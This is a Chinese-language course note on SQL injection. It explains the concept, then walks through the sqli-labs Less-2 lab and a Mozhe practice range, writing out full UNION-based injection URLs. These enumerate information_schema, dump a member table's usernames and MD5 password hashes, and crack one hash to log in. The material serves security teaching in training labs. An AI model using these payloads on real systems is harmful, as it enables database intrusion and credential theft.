前言:
- 在本系列课程学习中,SQL 注入漏洞将是重点部分,其中 SQL 注入又非常复杂,区分各种数据库类型,提交方法,数据类型等注入,我们需要按部就班的学习,才能学会相关 SQL 注入的核心。同样此类漏洞是WEB 安全中严重的安全漏洞,学习如何利用,挖掘,修复也是很重要的。
思维导图简要说明
- SQL注入安全测试中危害
- SQL注入产生原理详细分析
- 可控变量,带入数据库查询,变量未存在过滤或过滤不严重
原理
- Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一。
什么是sql注入
- 通过把SQL命令插入到Web表单提交或者输入域名或者页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令
- 利用应用程序漏洞
- 恶意SQL命令注入到后台数据库引擎,并执行
理论分析
www.xiaodi8.com/index.php?id=8
www.xiaodi8.com/?id10-------网站默认加上了首页文件指向index.php
www.xiaodi8.com/?id=8&x=1----------多了参数
www.xiaodi8.com/index.php----------post注入
- Q:可能存在注入的编号选项有哪几个
- A:第一个第二个第三个 。其实都有
- Q:参数x有注入,以下哪个注入测试正确?
- www.xiaodi8.com/news.php?y=1 and 1=1 &x=2----------主语句给了y没有给x
- www.xiaodi8.com/news.php?y=1 & x=2 and 1=1 ----------正确
- www.xiaodi8.com/news.php?y=1 and 1=1&x=2 and 1=1---------正确
- www.xiaodi8.com/news.php?xx=1 and 1=1 & xxx=2 and 1=1------参数名不对
- ?:后面有参数,&:连接参数名
- A:第二个和第三个
注入方法
http:// www.. com/ .asp?id=x (ASP注入)
或者下面的链接
http:// www.. com/ .php?id=x (php注入).
http:// www.. com/ .jsp?id=x (jsp注入)
http:// www.. com/ .aspx?id=x (aspx注入)。
http:// www.. com/index.asp?id=8&page=99(注:注入的时候确认是id参数还是page 参数,工具默认只对后面page参数注入,所以要对工具进行配置或者手工调换)。
http:// www.****.com/index/new/id/8伪静态。
http:// www.****.com/index/new/php-8.html伪静态
步骤
实操
配置环境
下载phpstudy,并安装pikachu,sqli_libs。
教程及安装链接:https://blog.youkuaiyun.com/liguangyao213/article/details/122698215
sqlilab Less-2的实操
配置好后进入phpstudy_pro\WWW\sqli-labs-master\Less-2目录下的index文件
cmd查看ip地址然后浏览器输入ip。进入sqlilabs
- 在网址后输入index.php?id=1
修改代码。添加一个输出
返回页面变成了一条sql语句
id改为2后
这里分为几步
- 接收数据
- 拼接数据
- 数据库执行
- 数据库展示
登录
用sql语句查询:select * from users where id=1;
联合查询邮箱— SELECT * FROM users WHERE id=-1 union select 1,email_id from emails LIMIT 0,1;
墨者靶机 MYSQL 注入演示
进入 SQL手工注入漏洞测试(MySQL数据库-字符型) 靶场
访问
发现页面http://124.70.22.208:47552/new_list.php?id=1
有注入点
- 判断注入
- 猜解列名数量(字段数) order by 判断错误正常的值
输入 order by 1 发现正常
依次输入 order by 2,3,4,5后,发现1234都正常,输入5后页面空白。说明有4个id
- 猜解准备
添加语句为:http://124.70.22.208:47552/new_list.phpid=1%20union%20select%201,2,3,4
让页面报错:添加 and 1=2 或者 id=-1
- 信息收集:
- 数据库版本:version()
- 数据库名字:database()
- 数据用户:user()
- 操作系统:@@version_compile_os
如图,页面出现了2,3。如果要显示信息就需要在对应的数字下改动
我们在2这里修改database(),3修改user()
利用这些将所有信息收集全
数据库版本:version()-----------5.7.22-0ubuntu0.16.04.1
- 数据库名字:database()--------mozhe_Discuz_StormGroup
- 数据用户:user()----------root@localhost
- 操作系统:@@version_compile_os --------Linux
小知识:
1.在MySQL5.0以上的版本中,MySQL存在一个自带数据库名为:information_schema,它是一个存储有所有数据库名、表名、列名的数据库,也相当于可以通过查询他获取指定数据库下面的表面和列表信息。
2.数据库符号"."表示下一级,nuc.Eidson就表示nuc数据库下Edison表名
Information_schema.tables:记录所有表名信息的表
Information_schema.columns:记录所有列名信息的表
table_schema:数据库名
Table_name:表名
- 查询指定数据库mozhe_Discuz_StormGroup名下的表名信息
http://124.70.22.208:47552/new_list.php?id=-1%20union%20select%201,table_name,3,4%20from%20information_schema.tables%20where%20table_schema=%27mozhe_Discuz_StormGroup%27
- 查询指定表名(StormGroup_member表)
http://124.70.22.208:47552/new_list.php?id=-1%20union%20select%201,group_concat(column_name),3,4%20from%20information_schema.columns%20where%20table_name=%27StormGroup_member%27
- 查询指定数据(id,password)
http://124.70.22.208:47552/new_list.php?id=-1%20union%20select%201,name,password,4%20from%20StormGroup_member
账号:mozhe
密码:356f589a7df439f6f744ff19bb8092c0
通过md5解码
最后结果
账号:mozhe
密码:dsan13
可是发现不行
继续尝试
http://124.70.22.208:47552/new_list.php?id=0%20union%20select%201,name,password,4%20from%20mozhe_Discuz_StormGroup.StormGroup_member%20limit%201,1
看样子应该是可以,去MD5解个码
尝试登录
成功!
提交key
如何判读注入点
- and 1=1 页面正常
- and 1=2 页面错误—可能存在注入点
举例:
select * from users where id=1 and 1=1;正常
select * from users where id=1 and 1=2;错误
解释:
1=1正确,1=2错误
and运算原则是1 and 1 =1;1 and 0 =0
- 逻辑运算符
或 且 非 or and xor
真且真=真;真且假=假;真或假=真